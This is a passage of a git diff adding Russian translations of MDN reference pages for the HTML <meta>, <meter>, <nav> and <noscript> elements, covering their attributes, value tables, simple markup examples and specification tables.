+  <dd>Эта прагма определяет <a href="/en-US/docs/cookie">cookie</a> для страницы. Её содержимое должно заканчиваться синтаксисом, определяемым <a class="external" href="https://tools.ietf.org/html/draft-ietf-httpstate-cookie-14">IETF HTTP Cookie Specification</a>.
+  <div class="note"><strong>Замечание:</strong> Не используете эту прагму, так как она устарела. Используйте HTTP header set-cookie вместо этого.</div>
+  </dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Этот атрибут определяет имя уровня документа метаданных. <br>
+ Его не следует устанавливать, если один из атрибутов {{htmlattrxref("itemprop", "meta")}}, {{htmlattrxref("http-equiv", "meta")}} или {{htmlattrxref("charset", "meta")}} также указан в наборе.<br>
+ Имя этого документального уровня метаданных связано со значением, которое содержится в {{htmlattrxref("content", "meta")}} атрибуте.Допустимые значения для имени элемента, со связанными с ними значениями, хранятся посредтвом {{htmlattrxref("content", "meta")}} атрибута:
+ <ul>
+  <li><code>application-name</code>, определяет имя веб-приложения, запущенного на веб-странице;
+   <div class="note"><strong>Замечание:</strong>
+   <ul>
+    <li>Браузеры могут использовать его для идентификации приложения. Он отличается от  {{HTMLElement("title")}} элемента, который обычно состоит из имени приложения, но также может содержать специальную информацию, как например име документа или статус;</li>
+    <li>Простые веб-страницы не определяют application-name meta.</li>
+   </ul>
+   </div>
+  </li>
+  <li><code>автор</code> определяет в свободном формате имя автора документа;</li>
+  <li>описание, содержащее краткое и точное резюме содержания страницы. В некоторых браузерах, среди которых Firefox и Opera, этот мета используется как описание страницы по умолчанию в закладке;</li>
+  <li>генератор, содержащий в свободном формате идентификатор программного обеспечения, создавшего страницу;;</li>
+  <li>Ключевые слова, представленные строками, разделенными запятыми, связанные с содержанием страницы</li>
+  <li><code>referrer</code> {{experimental_inline}} контролирует содержимое HTTP. <code>Referer</code> HTTP - заголовок, прикрепленный к любому запросу, отправленному из этого документа:
+   <table class="standard-table">
+    <caption>Значения содержимого атрибута &lt;meta name="referrer"&gt;</caption>
+    <tbody>
+     <tr>
+      <td><code>no-referrer</code></td>
+      <td>Не отправлять HTTP <code>Referer</code> заголовок.</td>
+     </tr>
+     <tr>
+      <td><code>origin</code></td>
+      <td>Отправить оригинал.</td>
+     </tr>
+     <tr>
+      <td><code>no-referrer-when-downgrade</code></td>
+      <td>Отправить оригинал, как ссылку по умолчанию на безопасный пункт (https-&gt;https), но не отправлять ссылку на менее безопасную структуру (https-&gt;http). Это поведение по умолчанию.</td>
+     </tr>
+     <tr>
+      <td><code>origin-when-crossorigin</code></td>
+      <td>Отправляет полный URL (удаленный из параметров) при выполнении запроса с тем же источником, или только оригинал документа в других случаях.</td>
+     </tr>
+     <tr>
+      <td><code>unsafe-URL</code></td>
+      <td>Отправляет полный URL (удалённый из параметров), при выполнении запроса того же или перекрестного происхождения.</td>
+     </tr>
+    </tbody>
+   </table>
+
+   <div class="note">
+   <p><strong>Замечание: </strong>Некоторые браузеры поддерживают ключевые слова всегда, по умолчанию и никогда для реферера. Эти значения устарели.</p>
+   </div>
+
+   <div class="note">
+   <div class="notes"><strong>Замечание:</strong> Динамическая вставка <code>&lt;meta name="referrer"&gt;</code> (с помощью document.write или appendChild) создаёт недетерминизм, когда дело доходит до отправки рефереров. Также стоит отметить, что когда определяется несколько конфликтующих политик, применяется No-referrer policy.</div>
+   </div>
+  </li>
+ </ul>
+
+ <p>Атрибут также может иметь значение, взятое из существующего листа определений  <a class="external" href="https://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki MetaExtensions page</a>. Хотя ни один из них официально не был принят, в число предложений входят несколько часто используемых имен:</p>
+
+ <ul>
+  <li><code>creator</code>, определят в свободном формате имя создателя документа. Это также может быть имя института. Если же имен больше чем одно, то несколько {{HTMLElement("meta")}} элементов должны быть использованы;</li>
+  <li><code>googlebot</code>, синоним <code>robots</code>, но только следует за Googlebot, сканирует индексы для Google;</li>
+  <li><code>publisher</code>, определяет в свободном формате имя того, кто опубликовал документ. Это также может быть имя института;</li>
+  <li><code>robots</code>, определяет поведение, поисковых роботов на странице. Список этих значений представлен ниже:
+   <table class="standard-table">
+    <caption>Значения для содержимого &lt;meta name="robots"&gt;</caption>
+    <thead>
+     <tr>
+      <th scope="col">Значение</th>
+      <th scope="col">Описание</th>
+      <th scope="col">Используется</th>
+     </tr>
+    </thead>
+    <tbody>
+     <tr>
+      <td><code>index</code></td>
+      <td>Позволяет роботу индексировать страницу</td>
+      <td>All</td>
+     </tr>
+     <tr>
+      <td><code>noindex</code></td>
+      <td>Освобождает робота от идексирования страниц</td>
+      <td>All</td>
+     </tr>
+     <tr>
+      <td><code>follow</code></td>
+      <td>Позволяет роботу переходить по ссылкам со страницы</td>
+      <td>All</td>
+     </tr>
+     <tr>
+      <td><code>nofollow</code></td>
+      <td>Запрещает роботу переходить по ссылкам со страницы</td>
+      <td>All</td>
+     </tr>
+     <tr>
+      <td><code>none</code></td>
+      <td>Эквивалетно <code>noindex, nofollow</code></td>
+      <td><a class="external" href="https://support.google.com/webmasters/answer/79812">Google</a></td>
+     </tr>
+     <tr>
+      <td><code>noodp</code></td>
+      <td>Запрещает использование <a class="external" href="https://www.dmoz.org/">Open Directory Project</a> описания, если таковые имеются, как описание страницы на странице результатов поиска</td>
+      <td>
+       <p><a class="external" href="https://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=79812">Google</a>, <a class="external" href="https://help.yahoo.com/l/us/yahoo/search/indexing/indexing-11.html;_ylt=Arh3LHnisvRMPJKzQqmJ97JYqCN4">Yahoo</a>, <a class="external" href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></p>
+      </td>
+     </tr>
+     <tr>
+      <td><code>noarchive</code></td>
+      <td>Запрещает поисковой системе кэшировать содержимое страницы.</td>
+      <td><a class="external" href="https://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=79812">Google</a>, <a class="external" href="https://help.yahoo.com/l/us/yahoo/search/indexing/basics-10.html;_ylt=Aszma_Ly8TfhL7mn_LGWn5RYqCN4">Yahoo</a>, <a class="external" href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></td>
+     </tr>
+     <tr>
+      <td><code>nosnippet</code></td>
+      <td>Запрещает отображение любого описания страницы на странице результатов поиска</td>
+      <td><a class="external" href="https://www.google.com/support/webmasters/bin/answer.py?answer=35304">Google</a>, <a class="external" href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></td>
+     </tr>
+     <tr>
+      <td><code>noimageindex</code></td>
+      <td>Запрещает отображение этой страницы в качестве ссылающейся страницы индексированного изображения.</td>
+      <td><a class="external" href="https://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=79812">Google</a></td>
+     </tr>
+     <tr>
+      <td><code>nocache</code></td>
+      <td>Синоним <code>noarchive</code></td>
+      <td><a class="external" href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></td>
+     </tr>
+    </tbody>
+   </table>
+
+   <div class="note"><strong>Замечания:</strong>
+
+   <ul>
+    <li>Только кооперативные роботы будут следовать правилам, определенным именем роботов. </li>
+    <li>Роботу необходимо получить доступ к странице, чтобы считать мета значение. Если Вы хотите скрыть от них информацию, то используйте  <em><a href="/en-US/docs/Robot_Exclusion_Protocol" title="Robot Exclusion Protocol">robots.txt</a></em> файл.</li>
+    <li>Если вы хотите удалить страницу индекса, изменение мета в noindex будет работать, но только тогда, когда робот снова посетит страницу. Убедитесь, что файл robots.txt не предотвращает такие посещения. Некоторые поисковые системы имеют инструменты, позволяющие быстро удалить какую-либо страницу.</li>
+    <li>Некоторые возможные значения взаимно исключают друг друга, такие как использование индекса и noindex или follow и nofollow одновременно. В этих случаях поведение робота не определено и может варьироваться от одного к другому. Поэтому избегайте этих случаев.</li>
+    <li>Некоторые поисковые роботы-роботы, такие как Google, Yahoo Search или Bing, поддерживают те же значения в директиве HTTP, X-Robot-Tags: это позволяет им использовать эту прагму для документов, отличных от HTML, например изображений.</li>
+   </ul>
+   </div>
+  </li>
+  <li><code>slurp</code>,синоним <code>robots</code>, но следует только за Slurp, индексирующим роботом от Yahoo Search;</li>
+ </ul>
+
+ <p>Наконец несколько общих терминов:</p>
+
+ <ul>
+  <li><code>viewport</code>, который дает подсказки о размере изначального размера {{glossary("viewport")}}. Эта прагма используется только на некоторых мобильных устройствах.
+
+   <table class="fullwidth-table">
+    <caption>Значения для содержания <code>&lt;meta name="viewport"&gt;</code></caption>
+    <thead>
+     <tr>
+      <th scope="col">Значение</th>
+      <th scope="col">Допустимые значения</th>
+      <th scope="col">Описание</th>
+     </tr>
+    </thead>
+    <tbody>
+     <tr>
+      <td><code>width</code></td>
+      <td>положительный целочисленный номер или литерал <code>device-width</code></td>
+      <td>Определяет ширину области просмотра в пикселях</td>
+     </tr>
+     <tr>
+      <td><code>height</code></td>
+      <td>положительный целочисленный номер или литерал <code>device-height</code></td>
+      <td>Определяет высоту области просмотра в пикселях</td>
+     </tr>
+     <tr>
+      <td><code>initial-scale</code></td>
+      <td>положительное число между <code>0.0</code> и <code>10.0</code></td>
+      <td>Определяет соотношение между шириной устройства и размером области просмотра</td>
+     </tr>
+     <tr>
+      <td><code>maximum-scale</code></td>
+      <td>положительное число между <code>0.0</code> и <code>10.0</code></td>
+      <td>Определяет максимальное значение зума; должен быть больше или равен минимальному масштабу или быть неопределенным.</td>
+     </tr>
+     <tr>
+      <td><code>minimum-scale</code></td>
+      <td>положительное число между <code>0.0</code> и <code>10.0</code></td>
+      <td>Определяет минимальное значение зума; должен быть меньше или равен максимальному масштабу или быть неопределенным.</td>
+     </tr>
+     <tr>
+      <td><code>user-scalable</code></td>
+      <td>булевское значение (<font face="Consolas, Liberation Mono, Courier, monospace">да или нет)</font></td>
+      <td>Если весь набор содержит значения нет, то пользователю не доступен зум на веб-странице. По умолчанию задано значение да.</td>
+     </tr>
+    </tbody>
+   </table>
+
+   <table class="standard-table">
+    <thead>
+     <tr>
+      <th scope="col">Спецификация</th>
+      <th scope="col">Статус</th>
+      <th scope="col">Комментарий</th>
+     </tr>
+    </thead>
+    <tbody>
+     <tr>
+      <td>{{SpecName('CSS3 Device', '#viewport-meta', '&lt;meta name="viewport"&gt;')}}</td>
+      <td>{{Spec2('CSS3 Device')}}</td>
+      <td>Ненормативно описывает элемент META Viewport</td>
+     </tr>
+    </tbody>
+   </table>
+
+   <div>Смотрите также: {{cssxref("@viewport")}}</div>
+
+   <div class="note"><strong>Замечания:</strong>
+
+   <ul>
+    <li>Хотя и не стандартизирован, этот атрибут используется разными мобильными браузерами, например Safari Mobile, Firefox for Mobile or Opera Mobile.</li>
+    <li>Значения по умолчанию могут быть изменены у разных браузеров или устройств..</li>
+    <li>Для изучения этой прагмы на Firefox for Mobile, посмотрите статью <a href="/en-US/docs/Mobile/Viewport_meta_tag" title="Mobile/Viewport meta tag">this article</a>.</li>
+   </ul>
+   </div>
+  </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("scheme")}} {{obsolete_inline}}</dt>
+ <dd>Этот атрибут определяет схему, которая описывает метаданные. <br>
+ Схема - это контекст, ведущий к правильной интерпретации {{htmlattrxref("content", "meta")}} значения, например формата.
+ <div class="note"><strong>Замечание:</strong> Не используйте этот атрибут, так как он устарел. Для него нет никакой замены, поскольку реально он не использовался. Опустите его.</div>
+ </dd>
+</dl>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>В зависимости от установленных атрибутов, тип метаданных может быть одним из следующих:</p>
+
+<ul>
+ <li>Если в наборе {{htmlattrxref("name", "meta")}}, то это <em>document-level</em> <em>metadata</em>, применяемая ко всей странице.</li>
+ <li>Если в наборе{{htmlattrxref("http-equiv", "meta")}} , то это <em>pragma directive</em>,<br>
+  то есть информация, веб-сервер предоставляет информацию о том, как должна обслуживаться веб-страница.</li>
+ <li>Если в наборе {{htmlattrxref("charset", "meta")}}, то это <em>charset declaration</em>,<br>
+  то есть кодировка, используемая для сериализованной формы веб-страницы.</li>
+ <li>Если в наборе {{htmlattrxref("itemprop", "meta")}}, то это <em>user-defined metadata</em>,<br>
+  прозрачна для агента пользователя, поскольку семантика метаданных зависит от пользователя. {{experimental_inline}}</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;!-- In HTML5 --&gt;
+&lt;meta charset="utf-8"&gt;
+
+&lt;!-- Redirect page after 3 seconds --&gt;
+&lt;meta http-equiv="refresh" content="3;url=https://www.mozilla.org"&gt;
+
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-meta', '&lt;meta name="referrer"&gt;')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Определяет значения и семантику <code>&lt;meta name="referrer"&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-meta-element', '&lt;meta&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>
+    <p>Добавлен <code>itemprop</code> атрибут</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-meta-element', '&lt;meta&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Добавлен <code>charset</code> атрибут</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.4.2', '&lt;meta&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("html.elements.meta")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие элементы, содержащие метаданные: {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("link")}}, {{HTMLElement("style")}},{{HTMLElement("title")}}.</li>
+</ul>
diff --git a/files/ru/web/html/element/meter/index.html b/files/ru/web/html/element/meter/index.html
new file mode 100644
index 0000000000..1fdcc828ae
--- /dev/null
+++ b/files/ru/web/html/element/meter/index.html
@@ -0,0 +1,139 @@
+---
+title: <meter>
+slug: Web/HTML/Element/meter
+tags:
+  - Формы
+  - прогресс
+translation_of: Web/HTML/Element/meter
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML-элемент <code>&lt;meter&gt;</code> </strong> преставляет собой скалярное значение в пределах известного диапазона или дробного значения.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/meter.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, контент, ассоциированный с  label, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>, но среди его потомков не должно быть элемента <code>&lt;meter&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Любой элемент, который принимает <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA роли</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLMeterElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>Текущее числовое значение. Он должен быть между минимальным и максимальным значением (<code>min</code> атрибут и <code>max</code> атрибут), если они указаны. Если он не указан или имеет неверное значение, значение равно 0. Если указан, но не в пределах диапазона, заданного атрибутами <code>min</code> и <code>max</code>, значение будет равно ближайшему концу диапазона.
+ <div class="note"><strong>Примечание по использованию: </strong>Если атрибут <code>value</code> не находится в диапазоне от  <code>0</code> до <code>1</code> (включительно), то атрибуты <code>min</code> и <code>max</code> должны определять диапазон, в котором будет находиться значение  <code>value</code>.</div>
+ </dd>
+ <dt>{{htmlattrdef("min")}}</dt>
+ <dd>Нижняя числовая граница измеряемого диапазона. Он должен быть меньше, чем максимальное значение (<code>max</code> атрибут), если указан. Если неопределен, то минимальное значение равно 0.</dd>
+ <dt>{{htmlattrdef("max")}}</dt>
+ <dd>Верхняя числовая граница измеряемого диапазона. Он должен быть больше, чем минимальное значение (<code>min</code> атрибут), если указан. Если неопределен, то максимальное значение равно 1.</dd>
+ <dt>{{htmlattrdef("low")}}</dt>
+ <dd>Верхняя числовая граница нижнего предела измеряемого диапазона. Он должен быть больше, чем минимальное значение (<code>min</code> атрибут), а также, меньше, чем значение high и максимальное значение(<code>high</code> атрибут и <code>max</code> атрибут, соответственно), если они указаны. Если не указан или меньше минимального значения, то значение <code>low</code> равно минимальному значению.</dd>
+ <dt>{{htmlattrdef("high")}}</dt>
+ <dd>Нижняя числовая граница верхнего предела измеряемого диапазона. Он должен быть меньше, чем максимальное значение (<code>max</code> атрибут), а также, больше, чем значение low и минимальное значение (<code>low</code> атрибут и <strong>min</strong> атрибут, соответственно), если они указаны. Если не указан или больше максимального значения, то значение <code>high</code> равно максимальному значению.</dd>
+ <dt>{{htmlattrdef("optimum")}}</dt>
+ <dd>Этот атрибут указывает оптимальное числовое значение. Он должен находиться в пределах диапазона (который определен атрибутами <code>min</code> и <code>max</code>). При использовании с атрибутами <code>low</code> и <code>high</code>, он указывает какая часть дипазона является предпочтительной. Например, если он находится между атрибутами <code>min</code> и <code>low</code>, нижний диапазон является предпочтительным.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>Этот атрибут связывает элемент с элементом <code>form</code>, частью которого является элемент <code>meter</code>. Например, <code>meter</code> может отображать диапазон, соответствующий элементу <code>input</code> с <code>type</code> <em>number</em>. Этот атрибут используется только в случае, если элемент  <code>meter</code> используется как элемент, связанный с формой; даже в этом случае он может быть опущен, если элемент является потомком элемента <code>form</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<h4 id="HTML_content">HTML content</h4>
+
+<pre class="brush: html">&lt;p&gt;Heat the oven to &lt;meter min="200" max="500"
+  value="350"&gt;350 degrees&lt;/meter&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="Output">Output</h4>
+
+<p>{{EmbedLiveSample("Simple_example", 300, 60)}}</p>
+
+<p>В Google Chrome, результат будет выглядеть так:</p>
+
+<p><img alt="meter1.png" class="default internal" src="/@api/deki/files/4940/=meter1.png"></p>
+
+<h3 id="Пример_с_High_и_Low_диапазоном">Пример с High и Low диапазоном</h3>
+
+<p>Обратите внимание, что в этом примере атрибут <strong>min</strong> опущен; это разрешено, так как по умолчанию он будет равен 0.</p>
+
+<h4 id="HTML_content_2">HTML content</h4>
+
+<pre class="brush: html">&lt;p&gt;He got a &lt;meter low="69" high="80" max="100"
+  value="84"&gt;B&lt;/meter&gt; on the exam.&lt;/p&gt;
+</pre>
+
+<h4 id="Output_2">Output</h4>
+
+<p>{{EmbedLiveSample("High_and_Low_range_example", 300, 60)}}</p>
+
+<p>В Google Chrome, результат будет выглядеть так:</p>
+
+<p><img alt="meter2.png" class="default internal" src="/@api/deki/files/4941/=meter2.png"></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-meter-element', '&lt;meter&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-meter-element', '&lt;meter&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.meter")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("progress")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/nav/index.html b/files/ru/web/html/element/nav/index.html
new file mode 100644
index 0000000000..aaa537f30c
--- /dev/null
+++ b/files/ru/web/html/element/nav/index.html
@@ -0,0 +1,110 @@
+---
+title: Элемент секции навигации <nav>
+slug: Web/HTML/Element/nav
+tags:
+  - Element
+  - HTML
+  - HTML sections
+  - Links
+  - Navigation
+  - Reference
+  - Sections
+  - Web
+  - nav
+translation_of: Web/HTML/Element/nav
+---
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;nav&gt;</code></strong> определяет отдельную секцию документа, назначение которой обозначение ссылок навигации (как внутри текущего документа, так и ведущих на другую страницу). В качестве примера такой секции можно привести меню, якорные ссылки.</span></p>
+
+<div></div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Категории контента </a></th>
+   <td>Потоковый контент, секционный контент, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td>Потоковый контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Опускание тегов</th>
+   <td>Нет. Как начальный, так и конечный тег являются обязательными.<br>
+    {{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный родительский элемент</th>
+   <td>Любой элемент, содержащий потоковый контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA-атрибуты</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент поддерживает <a href="https://developer.mozilla.org/ru/docs/Web/HTML/%D0%9E%D0%B1%D1%89%D0%B8%D0%B5_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D1%8B" title="HTML/Global attributes">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечание">Примечание</h2>
+
+<ul>
+ <li>Не обязательно все ссылки должны быть обернуты в <code>&lt;nav&gt;</code>. <code>&lt;nav&gt;</code> следует использовать лишь для главных навигационных блоков. Например, {{HTMLElement("footer")}}  часто содержит список ссылок, которые не стоит оборачивать в {{HTMLElement("nav")}} .</li>
+ <li>Документ может содержать несколько {{HTMLElement("nav")}} элементов. Например, один для навигации по сайту, второй для навигации по странице.</li>
+ <li>Пользовательские агенты, такие как устройства чтения с экрана, предназначенные для людей с плохим зрением, могут использовать этот элемент, чтобы определить следует ли пускать рендеринг содержимого навигации.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В данном примере, блок <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><code>&lt;nav&gt;</code> </span></font>содержит ненумерованный список ({{HTMLElement("ul")}}) ссылок. С помощью CSS данный блок можно использовать как сайдбар, навигационную колонку или выпадающее меню.</p>
+
+<pre class="brush: html notranslate">&lt;nav class="menu"&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Главная&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#"&gt;О нас&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Контакты&lt;/a&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/nav&gt;
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений с момента последней спецификации</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается структурированно. Если вы желаете внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request</div>
+
+<p>{{Compat("html.elements.nav")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>Другие секционные элементы: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li class="last"><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">Использование разделов и создание структуры HTML документа</a>.</li>
+</ul>
diff --git a/files/ru/web/html/element/noscript/index.html b/files/ru/web/html/element/noscript/index.html
new file mode 100644
index 0000000000..0b95032b93
--- /dev/null
+++ b/files/ru/web/html/element/noscript/index.html
@@ -0,0 +1,122 @@
+---
+title: <noscript>
+slug: Web/HTML/Element/noscript
+translation_of: Web/HTML/Element/noscript
+---
+<div>{{HTMLRef}}</div>
+
+<h2 id="Резюме">Резюме</h2>
+
+<p>Элемент HTML<strong> <code>&lt;noscript&gt;</code> </strong>определяет секцию html кода, которая будет вставлена, если в браузере пользователя нет либо отключена поддержка JavaScript'а.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Metadata_content" title="HTML/Content_categories#Metadata_content">Metadata content</a>, <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>.</li>
+ <li><dfn>Permitted content</dfn> When scripting is disabled and when it is a descendant of the {{HTMLElement("head")}} element: in any order, zero or more {{HTMLElement("link")}} elements, zero or more {{HTMLElement("style")}} elements, and zero or more {{HTMLElement("meta")}} elements.<br>
+  When scripting is disabled and when it isn't a descendant of the {{HTMLElement("head")}} element: any transparent content, but no <code>&lt;noscript&gt;</code> element must be among its descendants.<br>
+  Otherwise: flow content or phrasing content.</li>
+ <li><dfn>Tag omission</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Permitted parent elements</dfn> Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">phrasing content</a>, if there are no ancestor <code>&lt;noscript&gt;</code> element, or in a {{HTMLElement("head")}} element (but only for an HTML document), here again if there are no ancestor <code>&lt;noscript&gt;</code> element.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p><span style="line-height: 21px;">Этот элемент включает в себя только <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes">глобальные атрибуты</a>.</span></p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;noscript&gt;
+  &lt;!-- anchor linking to external file --&gt;
+  &lt;a href="http://www.mozilla.com/"&gt;External Link&lt;/a&gt;
+&lt;/noscript&gt;
+&lt;p&gt;Rocks!&lt;/p&gt;
+</pre>
+
+<h3 id="Пример_с_включенным_JavaScript'ом">Пример с включенным JavaScript'ом</h3>
+
+<p>Rocks!</p>
+
+<h3 id="Результат_с_выключенным_JavaScript'ом">Результат с выключенным JavaScript'ом</h3>
+
+<p><a class="external" href="http://www.mozilla.com/">External Link</a></p>
+
+<p>Rocks!</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting-1.html#the-noscript-element', '&lt;noscript&gt;')}}</td>
